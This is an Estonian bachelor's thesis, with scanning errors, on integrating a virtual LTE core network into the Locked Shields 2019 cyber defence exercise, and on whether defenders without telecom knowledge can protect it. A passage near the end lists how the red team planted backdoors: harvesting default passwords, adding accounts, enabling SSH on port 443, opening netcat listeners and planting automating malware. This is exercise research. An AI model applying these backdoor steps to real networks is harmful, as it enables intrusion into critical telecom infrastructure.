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Annotatsioon

Bakalaureusetod eesmaérgiks oli vélja selgitada, kas telekommunikatsiooni valdkonna
erialateadmisteta kliberturbe spetsialistid oskavad kuberriinnaku alla sattunud virtuaalset
mobiilside tuumikvorku kaitsta. Selle jaoks sai koostoos Ericssoniga maailma suurimale
tehnilisele kuberkaitsedppusele Locked Shields 2019 ules seatud virtuaalne LTE
tuumikvork, mida hakati erialateadmiseid omava meeskonna poolt rindama ja NATO
litkmesriikide kiiberkaitse spetsialistidest koosnevate meeskondade poolt kaitsma.

Reaalelus mobiilsideoperaatorite poolt kasutatava LTE tuumikvdrgu konfiguratsioon on
vaga kompleksne ning tldjuhul salastatud, mille téttu sai dppuse jaoks kasutusele voetud

tuumikvorgu lihtsustatud versioon.

Lahtudes nii rindavate kui ka kaitsvate meeskondade tagasisidest, saab antud dppuse
kontekstis kinnitada, et telekommunikatsiooni erialateadmisteta kilberturbe spetsialistid

ei suuda kiberriinnaku alla sattunud LTE tuumikvorku kaitsta.

LOputdd on kirjutatud eesti keeles ning sisaldab teksti 30 lehekdljel, 8 peatiikki ja 8

joonist.



Abstract

Using Virtual Evolved Packet Core in Technical Cyber Defence Exercise

The purpose of this thesis was to identify whether cyber defence specialists, who have no
special knowledge in telecommuniactions are able to defend the virtual Evolved Packet
Core (VEPC) that has been compromised. In cooperation with Ericsson, VEPC was
implemented to the world’s largest annual live-fire cyber defence exercise Locked Shields

2019 for the blue teams to defend and red team to attack.

Because the specifications and configurations of an actual, real world EPC are really
complex and usually kept in secret, the VEPC used in this exercise was a simplified
version of it. To tackle the amount of resource needed to host 23 sets of VEPC in a

datacenter, each blue team had only one personal node to defend.

During the preparation period, attacking team planted some initial backdoors to the nodes
which they used as access points for carrying out different attacks. Defending teams had
to detect those backdoors and exterminate all vulnerable results from different kind of

malicious activities.

Regarding the feedback from attacking and defending teams, it can be concluded that
cyber defence specialists, who have no special knowledge in telecommunications, are not

able to defend compromised VEPC.

The thesis is in Estonian and contains 30 pages of text, 8 chapters and 8 figures.
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1 Sissejuhatus

Prognooside kohaselt on 2020. aastaks 50 miljardit seadet internetti ihendatud [1].
Nendest ligikaudu kimnendik on mobiilside seadmed ning need numbrid on Kkiires
kasvusuunas, kuna internet on saanud inimeste igapaevaelu lahutamatuks osaks [2] [3].
Lisaks inimeste mugavusvahenditele Uhendatakse jargemdodda internetiga ka erinevaid
riikide infrastruktuuri osasid. Sellest tulenevalt ei piisa enam riigi Gleuldise ohutuse ja

funktsioneerimise tagamisel piirduda ainult infrastruktuuri fdsilise kaitse tagamisega.

2016. aastal kinnitas NATO ametlikult kiberruumi viienda sdjadomeenina 6hu, maa,
mere ja kosmose kdrval [4]. See tdhendab, et kiberrinnakut kskdik millise NATO
liikmesriigi infrastruktuuri vastu tdlgendatakse kui sdjalist rinnakut, mis kéivitab

koheselt viienda artikli ja kutsub liitlasi Uheskoos sellele reageerima.

Nii nagu NATO liikmesriigid harjutavad sdjalist koostéod merel, maal ja 6hus, tuleb
koostood harjutada ka kiberruumi turbes. Sellest ajendatult korraldab NATO
klberkaitsekoostod kompetensikeskus (edaspidi CCDCOE) alatest 2010. aastast tehnilist
arvutivorkude kaitsele keskendunud kiiberdppust Locked Shields [5].

1.1 Taust ja probleem

Tulenevalt mobiilsideteenuse kasutajate pidevast kasvust muutub aina olulisemaks ka
selle teenuse kompetentne turvamine. Kiberdppustel ei saa enam keskenduda ainult
traditsioonilistele koht- ja laivdrkudele, vaid tuleb ka integreerida erinevaid erististeeme,
mis reaalses maailmas samuti internetiga seotud on. Kuna antud probleem on vagagi
péaevakohane, lahtudes naiteks hiljuti avaldatud Vélisluureameti [6] ja CCDCOE [7]
raportitest Huawei usaldusvéérsuse kohapealt, ei saa enam mooda vaadata Gldise

telekommunikatsioonialase kiiberturbe kompetentsi tdstmise vajadusest.



1.2 Ulesande pustitus ja eesméark

Kéesoleva bakalaureuset6d eesmargiks on vélja selgitada, kas telekommunikatsiooni
alaste erialateadmisteta kiberturbe spetsialistid suudavad kompromiteeritud virtuaalset
LTE tuumikvorku kaitsta. Selleks, et vastata uurimustoo kisimustele, osales ké&esoleva
t66 autor Locked Shields 2019 dppusel tehnilise meeskonna (vt jaotist 2.2.1) lilkmena,
aidates muude kohustuste korvalt Ericsson Eesti AS-il kiiberdppusesse virtuaalset LTE

tuumikvorku integreerida.

Oppuse ettevalmistamine algas 2018. aasta siigisel ning 16ppes 6ppuse labiviimisega
2019. aasta aprilli alguses (vt lisa 1). Peale 6ppust kogus t60 autor erinevate meeskondade

liikmetelt uurimiskisimusele vastuse saamiseks tagasisidet.



2 Oppuse tutvustus

2.1 CCDCOE

Tallinnas asuv NATO Kkiiberkaitsekoostdé kompetentsikeskus on NATO poolt
akrediteeritud rahvusvaheline oivakeskus ja véljadppeasutus. 2008. aastal loodud keskus
on kasvanud oluliseks kuberkaitse valdkonna teadmiste allikaks nii NATO kui ka
liilkmesriikide jaoks, koosnedes t60 Kirjutamise hetkel 21 liikmesriigi ekspertidest.
Keskus koondab endas nii klberturbe spetsialiste, analtltikuid kui ka 6ppejéudusid
kaitsevéagedest, valitsusasutustest, akadeemiatest ja toostusvaldkondadest, eesmargiga
toetada liikmesriike ning NATO-t unikaalse interdistsiplinaarse kompetentsusega
klberkaitse valdkonnas [8].

2.2 Locked Shields

Locked Shields (edaspidi LS) on CCDCOE poolt korraldatav iga-aastane rahvusvaheline
tehniline arvutivorkude kaitsele keskendunud kulberbppus. See on maailma suurim
meeskonnapdhine “live-fire“ kiber6ppus, millest votab osa Ule 1200 spetsialisti
kolmekumnest eri riigist [9]. LS on reaalajas toimuv tehniline 6ppus, mis tdhendab, et
Oppus ei liigu kindlat liini pidi, vaid kulgeb vastavalt sellele, kuidas erinevad meeskonnad
oma Ulesandeid taidavad. Oppuse raames teostatakse iile 2500 kiiberriinde erinevate
sihtmdrkide pihta, eesméargiga arendada nii sisteemide riindajate kui ka Kkaitsjate
kompetentsi. LS-i muudab unikaalseks asjaolu, et 6ppuse hulka kuulub muuhulgas ka
pidev situatsiooniaruandlus, fiktiivne meediakajastus, diguslike aspektidega arvestamine
ja kindlad tegevusjuhendid, millega Uritatakse simuleerida v6imalikult realistlikult

kiberrunde alla sattunud riigi toiminguid nii militaar- kui ka tsiviilperspektiivis.
2.2.1 Meeskonnad

LS-il on kokku viis erinevat meeskondade kategooriat. Neli meeskonda - punane,

roheline, kollane ja valge vastutavad Gppuse ettevalmistamise ja l&biviimise eest ning
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viibivad ka 0ppuse ajal kdik koos Tallinnas. Sinised meeskonnad on Gppuse sihtgrupp,
kes viibivad oma koduriikides [10].

e Sinine meeskond

Sinised meeskonnad ehk “Blue Teams® tegelevad kuberriinnakute tdrjumise ning
stisteemide kaitsmisega, koosnedes osavotjate litkmes- ja partnerriikide spetsialistidest
ning olles ainukesed, kes Tallinnas dppuse ajal fuusiliselt kohal ei ole. Nad vdtavad
Oppusest osa oma kodumaadel, Uhendudes &ppuse keskkonda l&bi virtuaalse
privaatvorgu. Erinevalt teistest meeskondadest on siniseid meeskondi rohkem kui ks —
2019. aastal oli neid kakskiimmend kolm, number, mis on iga aastaga kasvanud [11].
Kdikidel sinistel meeskondadel on sama algstsenaarium ning iga meeskond vastutab oma
kaekaigu eest ise, vastavalt kui edukad ollakse kiiberriinnakute tdrjumises. lgat sinist
meeskonda hindab automatiseeritud rakendus, mis Gppuse 16pus koostab edetabeli ning

annab ulevaate, kuidas igal meeskonnal laks.
e Punane meeskond

Punane meeskond ehk “Red Team® on siniste meeskondade vastane - riindaja. Punase
meeskonna ulesanne on siniste meeskondade poolt kaitstud infrastruktuuri virtuaalselt
sisse murda ja seda negatiivselt mdjutada. Punane meeskond jaguneb kolme gruppi,

millel on konkreetsed Ulesanded:

1. Veebirakenduste rindegrupp teostab riindeid veebirakenduste vastu, eesmérgiga
hairida nii veebirakenduste t66d kui ka tagada endale volitamata juurdepaas
veebirakendustes olevale sensitiivsele informatsioonile.

2. VOrgurundegrupp teostab riindeid OSI mudeli kolmandas kihis. Rundeid on mitut
erinevat sorti, ndidetena vdib vélja tuua DoS (denial-of-service) rinde, millega
koormatakse mdni vorgusisteem massparingute abil dle; lisaks veel vorguliikluse
pealtkuulamise ning ka “man-in-the-middle* riinde, kus riindaja asetab end
sihtsusteemi ja sihtkasutaja vahele ning suudab tanu sellel stusteemi ja kasutaja
vahelist infovahetust lisaks pealtkuulamisele ka méjutada. Pikemalt saab erinevat
tldpi vorgurinnete kohta lugeda jargnevast viidatud allikast [12].

3. Kasutaja vastaste rlinnete grupp tegeleb siniste meeskondade arvutite
rindamisega. Nende ulesanne on siniste meeskondade arvutisse sisse saada

peamiselt 1&bi kasutajate eksimuste. Selleks koostatakse nditeks nii viirust
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sisaldavaid e-kirja manuseid kui ka kahtlaseid interneti aadresse ning loodetakse
siniste meeskondade liikmete hajameelsusele ja lohakusest tulenevatele

eksimustele.

e Roheline meeskond

Roheline meeskond ehk “Green Team‘ vastutab nii fldsilise kui ka virtuaalse
infrastruktuuri eest, tegeledes selle planeerimise ja tlesseadistamisega ning tagades selle
torgeteta tootamise Oppuse ajal. Infrastruktuuri kuuluvad nditeks tulemudrid,
vorguseadmed ja —ihendused, andmekeskused, virtuaalsed privaatvérgu marsruuterid
jms. Lisaks tegeleb roheline meeskond ka kasutajakontode haldusega ning Oppuse

keskkonna monitooringuga.
¢ Kollane meeskond

Kollane meeskond ehk “Yellow Team* tegeleb olukorra teadlikkuse ja Ulevaatusega.
Nemad vahendavad osaliselt olukorrapdhist teavet erinevate meeskondade vahel ning
kasutavad seda infot, et visualiseerida jooksvalt 6ppuse hetkeolukorda. Nad teavad kuidas
nii rindajatel kui ka Kkaitsjatel parasjagu laheb ning vajadusel annavad korraldusi

erinevatele meeskondadele, kui dppus hakkab stsenaariumilt kbrvale kalduma.
e Valge meeskond

Valge meeskond ehk “White Team® vastutab UGleuldiselt mangu kulgemise ja
stsenaariumite eest. Nende Ulesanne on viélja mdéelda dppuse olukorrad, eesmargid
erinevatele meeskondadele, kirja panna reeglid, mdéelda juriidilistele aspektidele ja
meediakajastusele. Valge meeskond koosneb neljast osast. Kasutajate simuleerimise
meeskond tegeleb Oppusel simuleeritud organisatsioonide litkmete rutiinsete
tooulesannete matkimisega. Hindamismeeskond tegeleb siniste meeskondade
hindamisega. Juhtimismeeskond tegeleb Gldist dppuse kdiku mdjutavate kiisimustega.

Kommunikatsioonimeeskond tagab info liikumist siniste ja teiste meeskondade vahel.

12



2.2.2 Oppuse stsenaarium

Valge meeskond muudab iga aasta stsenaariumi, kuid uldine konseptsioon “Berylia vs
Crimsonia®“ on sama. Alljargnev on stsenaariumi kokkuvOte, mis parineb Oppuse

infovahetuse- ja koostdokeskonnast.

Berylia — fiktiivne suverddnne saareriik Atlanti ookeani pohjaosas. Berylial on olnud
pikka aega pingeline poliitiline ja militaarne suhe Crimsoniaga. Berylia on NATO, EL ja
CECC-i (Council of Europe Convention on Cybercrime) liige. Riiki iseloomustavad

demokraatlikud vaartused. Kogu kriitiline infrastruktuur kuulub riigile.

Crimsonia — fiktiivne suveradnne saareriik Berylia korval. Selle riigi ambitsioon on
saavutada globaalne mojuvdim l&bi majanduslike ja militaarsete meetodite. Neil on
vOimeline sdjavagi, kdrgetasemelise klberriinde v6imekusega. Riik pigem vastandub

la&nelikele vaartustele ning on samuti CECC-i liige.

Anti-Berylia Community (ABC) — ABC on végivaldne Crimsonia meelne véhemusgrupp,
kes elab alaliselt Berylias. ABC (ritab saavutada iseseisvust nendel Berylia aladel, kus
Crimsonia paritolu elanikud moodustavad enamiku. Levitavad Berylia vastast
propagandat, nahes Berylia NATO-sse kuulumist ohuna nende ideoloogiale.
Luureandmetel on moned prominentsemad ABC liikmed seotud Crimsonia

valitsusasutustega.

NATO Deterrent Forces (DF) — NATO DF on saadetud tugevdamaks heidutust ABC

suhtes ning kaitsmaks Berylia elanikke Crimsonia aggressiooni eest.

Nounikud — Berylias on maabunud hulk néunike, eesmérgiga pidada arutelusid Beryliaga,

mille tulemusel viimane saaks arendada oma kiiberturvalisust.

Viimastel aastatel on olnud mitmeid intsidente Berylia diguskaitseorganite ja ABC vahel,
mis on I6ppenud vagivalla ja vigastustega. Mitmed juhtumind on j6udnud
rahvusvahelisse meediasse. Uldine kdlama jadv meedia meelestatus viitab, et Berylia
tihiskond on fasistlik ning, et etnilisi Crimsonia péritolu Berylia kodanikke koheldakse
ebadigalselt ja nende Oiguseid vaarkoheldakse. Teiste EL liikmesriikide elanikud
kritiseerivad Berylia olukorrakasitlust. Berylia valitsus véidab, et tegutsevad oma rahva
parima heaolu nimel. VVaarkohtlemisjutud on tugevalt tle paisutatud.
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2018. aastal olid riigid véaga lahedal s6jalisele konfliktile, kuid edukad l&biradkimised
suutsid selle dra hoida. Mitmed eri riigid on saathud oma DF joud Beryliale appi

heidutamaks Crimsonia agressiooni.

Crimsonia kuberspetsialistid on votnud eesmaérgiks Berylia riikliku infrastruktuuri
hairida. Tavapdraste arvutivirkude korval kuuluvad sinna ka mobiilsidevorgud,
veepuhastusjaam ja elektrijaam. TuumikvOrgu osas Uritatakse hdirida LTE teenuste
toimimist, 18ppeesmargiga kogu tuumikvork kasutuskBlbmatuks teha. Lisaks
tavakodanike elurttmi héirimisega Uritatakse tuumikvdrgu riinnakuga hairida Berylia
laevastiku sidetihendusi maismaaga. Tuumikvdrgu eduka riinnaku tulemusena kaoks
laevastikul kogu sideihendus maismaaga, andes Crimsoniale merel potentsiaalsete

sOjaliste manodvrite tegemisel tugeva eelise.

Oppusel kehastavad punase meeskonna liilkmed Crimsonia kiiberspetsialiste ning NATO

DF on mehitatud siniste meeskondade poolt.
2.2.3 Oppuse tehniline pool

Kogu Oppuse keskkond on majutatud Eesti Kaitsevde Kiberharjutusvaljal ning on
simuleeritud VMware vSphere virtualiseerimisplatvormil. Kiberharjutusvéli on 2012.
aastal loodud riist- ja tarkvaraline eraldiseisev keskkond, mida kasutatakse peamiselt
kibervaljabppe  keskkonna ja  tehniliste  lahenduste  testimisplatvormina.
Kiberharjutusvéljal on vdimalik matkida reaalelul phinevaid IT infrastruktuure ning

harjutada erinevates stsenaariumites kiiberriinnakute ja —kaitsete labiviimist [13].

LS-i jaoks valmistati rohelise meeskonna poolt ette 3982 virtuaalset masinat, mis olid
uhendatud 1638 erinevasse vorku. Kiiberharjutusvélja andmekeskuses oli selle jaoks
eraldatud kolme kettamassiivi pealt 326 TB talletusmahtu, neli klastrit 61 VMware ESXi
hiperviisoriga, mis omasid kokku tle 3 THz protsessori ressurssi ja ligikaudu 19 TB

dinaamilist muutmalu.
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3 Ericssoni virtual Evolved Packet Core (VEPC)

EPC (Evolved Packet Core) ehk LTE tuumikvdrk on osa telekommunikatsiooni vorgust,
mille eesmédrk on tagada erinevaid teenuseid abonentidele, ehk klientide
mobiilsideseadmetele, mis on tuumikvdrku (hendatud labi “Evolved Universal
Terrestrial Radio Access Network* ehk E-UTRAN-i (vt joonis 1). Tuumikvdrk koosneb
erinevatest vorgus6lmedest, millel on ko&igil oma eesmark ja neid vorgusdlmesid

Uhendavatest marsruutidest.

LTE tuumikvdrku saab nimetada loogiliseks Uksuseks, mis tahendab, et igal eraldiseisval
vorguuksusel on kindel eesmdark ja hasti piiritletud liides. See ei téhenda, et
I6pplahenduste rakendajad (nditeks mobiilsidevorgu insenerid) peaksid Kkdiki
vOrguuksuseid eraldiseisvatel sdlmedel hoidma.

LTE tuumikvdrk koosneb jargnevatest vorgus6lmedest [14] (t60s on kasutatud

originaalnimetusi vérgusdlmedele):
e eNodeB

eNodeB ehk “evolved Node B on LTE v&rgu tugijaam, mis pakub raadiosideliidest ja
keskendub raadioside ressursi haldamisele. eNodeB tugijaamad on uldjuhul Uhe
konkreetse operaatori poolt paigutatud, kuid teiste operaatorite abonendid saavad
nendega ldbi “roaming* funktsiooni ka iihenduse luua. eNodeB ei ole ise tuumkvdrgu

0sa, vaid on Uhenduspunkt abonentide ja tuumikvorgu vahel.
e MME

Tuumikvdrgu perspektiivist on MME ehk “mobility management entity peamine
vorgusdlm, mis kontrollib LTE juurdepdasuvorke — eNodeB-sid. Lisaks valib MME 6ige
SGW abonendi jaoks selle esmasel vorku ihendumisel. Koostdds HSS-iga vastutab

MME ka lI8ppkasutajate autentimise ning autoriseeritud kasutamise eest.
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e SGW

SGW ehk “Serving Gateway* marsruudib ja edastab pakkettandmesidet abonendi ja
PGW vahel. Iga abonent, mis on Uhendatud LTE tuumikvdrku (aktiivne hendus) on
seotud Uhe kindla SGW-ga. SGW hoiustab endas ka vajalikku informatsiooni abonentide
kohta, nagu nditeks IP andmekandjate parameetreid ja sisemist vorguliikluse

marsruutimise informatsiooni.
e PDN

Mobiilside tuumikvdrgus nimetatakse IP vorku “Public data network‘ ehk PDN-iks. Seda
sellepérast, et PDN hdlmab endas rohkemat, kui tavaline traditsiooniline IP vBrgu termin
endas kujutab — naiteks mobiilsus ja teenustasude arvestamine. Lisaks, v@rguoperaatorid
vBivad tagada juurdepéisu mitmetele erinevatele PDN-idele. Uks PDN vdib olla avalik
internet, teine nditeks kindel IP vahemik, mis on vdrguoperaatori poolt seadistatud
tagamaks mingit kindlat teenust. Teisisdnu, abonent saab tarbida ainult neid teenuseid,
mis on selle kindla PDN-iga seotud, kuhu ta end tGhendab. Muidugi on vdimalik tagada
mitmeid erinevaid teenuseid Ule sama PDNi. See kdik on v@rguoperaatori otsustada,

kuidas ta oma teenuseid seadistab.
e PGW

PGW - PDN GW ehk “Public data network gateway“ pakub abonentide
uhendumisvdimalust PDN-idele, toimides sisenemis- ja valjumispunktina abonendi
andmeliikluse jaoks. Abonent vaib olla thendatud ronkem kui iihe PGW kiilge, kui tal on

vaja suhelda rohkem kui tihe PDN-iga. PGW eraldab ka IP aadressi abonendile.
e HSS

HSS ehk “Home Subscriber Server on LTE tuumikvdrgus asuvate abonentide andmete
jaoks peamine andmebaas. See s6lm hoiustab endas LTE abonentidega seotud infot
eesmargiga tagada ligipadsu LTE tuumikvorku. HSS tuvastab ja autoriseerib abonendi

vorgule ligipaésuks.
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e PCRF

Policy and Charging Rules Function — on tarkvaraline komponent mis tegeleb
andmepakettide analulsiga ning sellest tulenevalt arvete kalkuleerimiste ja

koostamistega.
LTE vork koosneb kolmest (vt Joonis 1) peamisest komponendist:
e E-UTRAN — komponent, kuhu kuuluvad eNodeB-d, ehk LTE tugijaamad,;

e EPC - komponent, kuhu kuuluvad tuumikvdrgu komponendid, nagu nditeks selle
Oppuse raames HSS, MME, SGW ja PGW,;

e Valine Internet — sihtkoht, kuhu abonent jéuda Uritab.

Jargnev joonis kujutab eelmainitud vérgus6lmede omavahelisi Gihendusi [15].

w— w= = Control Prane
— ser Plane

MME =

Mobilty

Management o

Entity e

S-GW

Serving 3 ~

Gateway ' EPC i
:E-UTRAN .

P-GW ()

Packet Data :
Network Gateway",

HSS
Home Subscriber
Server

PCRF
Policy and Charging
Rules Function

Joonis 1. LTE v8rguskeem.
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3.1 VEPC 06ppusesse integreerimine ja toopohimotted

Ericsson on 0Oppuse jaoks loonud kompaktsema lahenduse, mis koosheb viiest

eraldiseisvast vorgusdlmest ning abonentidest, mis on tuumikvorku tihendatud (vt lisa 2).

Enne, kui Oppusel kasutatavate vorgusdlmesid kirjeldama hakkame, vaatame, mida

tahendavad moned tahtsamad terminid.

CP — “control plane“, kanal, millel on kandev funktsioon eesmargiga luua
abonendile tingimused andmeliikluse kanali loomiseks. Niipea kui SIM kaart on
abonenti pandud ning viimane kaivitatud, saadetakse vélja soov eNodeB-le, et end
vorku uhendada. eNodeB saadab selle soovi edasi MME-le mis, koostoos HSS-
iga, registreerib abonendi, kuid see saab 10plikult kinnitatud alles siis, kui
abonendile on IP aadress maaratud. MME saadab selle soovi edasi PGW-le l&bi
SGW. Igas PGW-s on “Access point name* (edaspidi APN) defineeritud, millele
on antud IP aadresside vahemik. PGW madrab abonendile hetkel saadaval oleva
IP aadressi APN-i IP vahemikust ning see info suunatakse tuldud teed tagasi
abonendini. Niipea kui abonendil on IP aadress madratud, loetakse registreerimine

I6ppenuks.

Control plane paketid périnevad voi suunduvad marsruuterisse ja sisaldavad

endas néiteks kasutajanime/salaséna ning audentimisvotmeid.

UP — “User plane*, kanal, milles toimub andmeliiklus. Peale IP aadressi saamist,
saab abonent hakata kasutama vorguteenuseid ja internetti. UP-d kasutatakse info
edastamiseks, mis parineb ja/vdi saadetakse teenuse tarbijale. See info on nditeks

kdne heli, tekstisdnumid, pildid ja videod.

APN — “Access point name*“ — see on kahesuunaline juurdepddsupunkt LTE ja
mone teise (tavaliselt avaliku interneti) arvutivorgu vahel. APN hoiustab endas
infot soovitava vélise internetitihenduse kohta — millise PDN-iga abonent suhelda

soovib.
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Joonis 2. CP (sinine) kanal abonendile IP aadressi mé&aramiseks ja UP (punane) kanal info vahetamiseks
internetis.

Abonent Ghendub Ule eNodeB MME-ga, mis teostab esmase autentimise ning saadab
selle info edasi HSS-ile. Igal abonendil on HSS-is defineeritud oma kindel APN, teisi
APN-e abonent kasutada ei saa. Kui HSS tuvastab, et kdik on korras, maidrab MME
abonendile APN-i jargi SGW, mis omakorda tekitab UP kanali PGW-sse ja sealt edasi
internetti. L&pptulemusena on loodud UP kanal abonendi ja interneti vahel 1abi eNodeB,
SGW ja PGW.

19



e Fidsiline eNodeB

Joonis 3. eNodeB 6ppusel Locked Shields 2019.

Oppuse jaoks on valmistatud mobiilne, kompaktne LTE tugijaam, mida 23 eri operaatorit

Oppuse ajal jagasid. Selle tugijaama kilge thendusid LTE abonendid ja modemid.
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eNodeB on iiks kahest fiisilisest komponendist virtuaalses LTE tuumikvérgus. Oppuse
ettevalmistamise ning ka l&biviimise ajaks oli Tehnilise Jarelevalve Ametilt taotletud
sagedusluba 700 MHz jaoks.

e Fudsiline HSS
Oppuse kontekstis kasutatav HSS kuulub Riigi Infokommunikatsiooni Sihtasutusele.
e Virtuaalne MME

vMME koosneb kuuest eraldiseisvast virtuaalmasinast. Nendeks on FSB-1.11, FSB-1.13,
GPB-2.1, GPB-2.2, NCB-1.15, NCB-1.9
= & L5_Team_Green
= 59 vMMED2
3 FSB-1.11
I3 FSBE-1.13
3 GPB-2.1
s GPB-2.2

3 NCB-1.15
{3 NCB-1.9

Joonis 4. vVMME vSphere vaates.
FSB — File Server Board

FSB tagab VMME jaoks kettamassiivi ja susteemi kaivitamise teenust. VMME “virtual
application‘-is ehk vApp-is on kaks FSB virtuaalmasinat — peamine ja sekundaarne. Kui
peamine FSB to0k6lbmatuks muutub, vGtab sekundaarne FSB peamise tdokohustused

ule, saades uueks peamiseks FSB-ks.
GPB — General Processor board

GPB on VMME rakenduste protsessor. Virtuaalmasinate arv séltub tuumikvérgu

suurusest.
NCB — Node Controller Board

NCB teostab slisteemi monitooringut, tarkvara haldust ning “Operations and
management“ (edaspidi OAM) teenust MME-s. Lisaks tegeleb NCB CP tasemel IP
marsruutimistega VMME-st sisse ja valja.
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VMME vApp-is on kaks NCB virtuaalmasinat, aktiivne ja passiivne. Kui aktiivse
virtuaalmasinaga midagi juhtub, muutub passiivne virtuaalmasin aktiivseks ja votab

todkohustused Ule.
e Virtuaalne SGW

vSGW koosneb samuti kuuest eraldiseisvast virtuaalmasinast. Nendeks on VRP-21,

VRP-22, VSFO-1...VSFO-4

= 3 vsew
s VRP-21
s VRP-22
I VsFO-1
I3 VsFO-2
3 VsFO-3
3 VSFO-4

Joonis 5. vSGW vSphere vaates.

vSGW marsruudib ja edastab abonentide andmepakette mobiili ja vPGW vahel.

e 23 virtuaalset PGW-d

= @& L519_NOC_Cluster-4-vPGW
& | Bluedl
= & Blued2
56 veGWo02
= & Blued3
B B vPGWo3
s VRP-21
0 VRP-22
s V5FO-1
= WsFo-2
s V5FO-3
Eh WsFO-4
& Blue04
& Bluels
& Bluels
& Blued?

Joonis 6. VPGW vSphere vaates.
Iga vPGW nimeline vApp koosneb kuuest virtuaalmasinast.

VRP-21 ja VRP-22 (virtual Route-Processor) on virtuaalsed marsruuterid. Igas vVPGW-s
on kaks marsruuterit, millest Uks on alati aktiivne ning teine passiivne, olles tagavaraks,

kui aktiivse marsruuteriga midagi juhtuma peaks.
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VSFO-d (virtual Service-forwarder) jagunevad kahte gruppi.

e UP VSFO — (VSFO-3, VSFO-4) tagab virtuaalse PGW rakenduse UP vdimekuse
2G/3G/LTE/WIiFi/CDMA jaoks. UP VSFO voib lisaks veel tagada virtuaalse
PGW rakendusteadliku koormusjaotuse ning OSI mudeli teisel ja kolmandal kihil

andmeedastust.

e CP VSFO - (VSFO-1, VSFO-2) tagab virtuaalse PGW rakenduse CP v@imekuse
2G/3G/LTE/WIiFi/CDMA jaoks.

Joonis 7. vPGW vdrguliidesed.

Joonis 7 kujutab, milliste vorguliidestega on virtuaalsed masinad omavahel seotud. Lisaks
on sellel joonisel kujutatud kolm VSFO-d, kuid antud dppuse kontekstis oli neid neli
(kaks CP ja kaks UP). Load balanceri dppusesse integreeritud polnud, seda lihtsuse

huvides.

VSFO 2 ja 4 polnud 6ppuse kontekstis kriitilise tdhtsusega, seega otsustati ohverdada
redundancy — liiasus — ressursivabastuse nimel. Sellest tulenevalt, véhendamaks
tarbitavat ressurssi, lulitas t06 autor need kaks virtuaalmasinat vélja ning piiras sinistel
meeskondadel nendele ligipdésu. Alles jai tiks UP VSFO ja Uiks CP VSFO. See vahendas
VPGW lest protsessori kasutust ligikaudu poole vorra, leevendades oluliselt

andmekeskuse ressursikasutust.

Lisaks on VPGW siseselt seadistatud ara vorguliidesed. Antud lahenduses oli kasutusel

seitse vorguliidest: VFAB — edastab valist signaali ja abonendi andmesideliiklust VSOF-
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ide vahel, EXT-1, EXT-2, EXT-3, EXT-4 — kontrollivad véliseid virtuaalvorgu
funktsioone ja vastutavad payload-ide liigutamise eest vastavalt VSFO-1, VSFO-2,
VSFO-3 ja VSFO-4 vahel, MATE - signaali edastus VRP-de vahel, BP-1 — uldine
signaali edastus virtuaalmasinate vahel. Eraldiseisvat MGMT vorku otsustati dppusel
mitte kasutada, seda lihtsuse huvides. MGMT liidesele sai ligi Ule EXT-1 ja EXT-2

liidese.
e 23 Bittiumi abonenti

Abonente kasutati fuusilise demonstratsioonina, et veenduda tuumikvorgu olekus — kas
seade on vorgus voi mitte. Lisaks kasutas punane meeskond abonente ka alternatiivse
juurdepaasupunktina VPGW-sse, juhul kui sinised meeskonnad naiteks kogu punase
meeskonna kasutatava IP-vahemiku tulemudrist sulgeksid. 23 eraldiseisvat PGW-d saab
votta kui 23 erinevat vorguoperaatorit; igal abonendil seadistati k&sitsi unikaalne APN.
Sellest tulenevalt saab ¢elda, et dppusel on Uhte virtuaalsesse LTE tuumikvorku

uhendunud 23 erinevat v@rguoperaatorit, igat Ghte indekseerib tiks Bittiumi abonentidest.

.
@ @ Qus @ @uws @k 135eERs
e B¢ © % o mx OQEEx
Leeohr Leech Le00K " LmecCH
oo i : - o _

Joonis 8. Bittiumi abonendid &ppusel Locked Shields 2019.
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4 Tuumikvorgu riindamine

Stsenaariumi jargi kehastab punane meeskond Crimsonia kuberspetsialiste, kes Uritavad
Berylia infrastruktuuri negatiivselt mdjutada. Tuumikvorgu osas Uritatakse hdirida LTE

teenuste toimimist, 18ppeesmargiga kogu tuumikvork kasutuskdlbmatuks muuta.

4.1 Oppuseks ettevalmistumine

Ainuke LTE tuumikvdrgu vogusdlm, mida ppusel rinnatakse on vPGW, sellepérast neid
ongi 23 ja ulejaanud vorgusGlmesid ainult tks - iga Sinine meeskond vastutab oma enda
VPGW eest. Ericsson oli ihe testimiseks mdeldud vVPGW ette valmistanud juba eelnevalt
vOimalikult haavatavana, mida t60 autor vSpheres 23 korda kloonis. VPGW-I ei
rakendatud  tavapédraseid  turvameetmeid ning  konfigureeriti  v@imalikult
mainupuleeritavaks — nditeks oli avaliku interneti kasutuseks mdeldud APN-i sees
lubatud abonentide omavaheline andmevahetus, mis v6imaldas ka internetist
abonentidele ligipaéasetavuse. Selleks aga, et kdik vVPGW-d samaaegselt to6le hakkaksid,
oli vaja to6 autoril need dra seadistada. Tulenevalt asjaolust, et vVPGW on antud kontekstis
Linuxi operatsioonisiisteemil pbhinev slsteem, Kirjutas t66 autor .sh skripti (vt lisa 3),
mis korrigeeris terves VPGW seadistuses kBik IP aadressid ja APN-id dra. Peale seda tuli
ka igasse masinasse installatsioonip6hised litsentsid lisada ja need aktiveerida. Saades
Ericssoni kdest litsentsid, tdstis t66 autor need WinSCP programmiga VPGW-desse. Kuna
aga kloonimisjérgse IP konfiguratsioonimuudatuse tagajarjel ei té6tanud enam stisteemi
vorguliidesed, tuli t66 autoril litsentside edukaks lisamiseks peale iga masina kloonimist
kaks vorguliidest dara kustutada ja need uuesti seadistada (vt lisa 4). Peale uute
vorguliideste seadistamist ning litsentside lisamist olid masinad vGrgus olemas ja punane
meeskond sai hakata oma ettevalmistusi tegema. Ettevalmistuste k&igus muudeti vPGW-

d jargnevalt:
e Koguti kokku vaikimisi kasutajate salasonad;

e Lisati juurde mdned tavakasutajad;
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e Lisati juurde Linuxi operatsiooniststeemi tasemel kasutajad;
e Lubati SSH nii OAM kui ka SGi liidesel, lisaks lubati SSH pordil 443;
e Suunati “netcat” porte 515, 48330, 8080, 80 kuulama;
e Lisati pahavara, mis automatiseeris kogu neljanda etapi ara.
OAM - liides PGW administreerimiseks.

SGi — standardne PGW internetipoolne liides.

Runnakud olid jaotatud nelja etappi.
e FEtapp #1

o Eesmérk: Saavutada kontroll telekommunikatsiooni infrastruktuuri Gle
naidates kasutajale, et on saavutatud juurdepads CLI-le (Command Line

Interface);

o Toestus sinisele meeskonnale: Kuvatakse kellaaeg punase meeskonna

poolt.
show system-state clock
e FEtapp #2

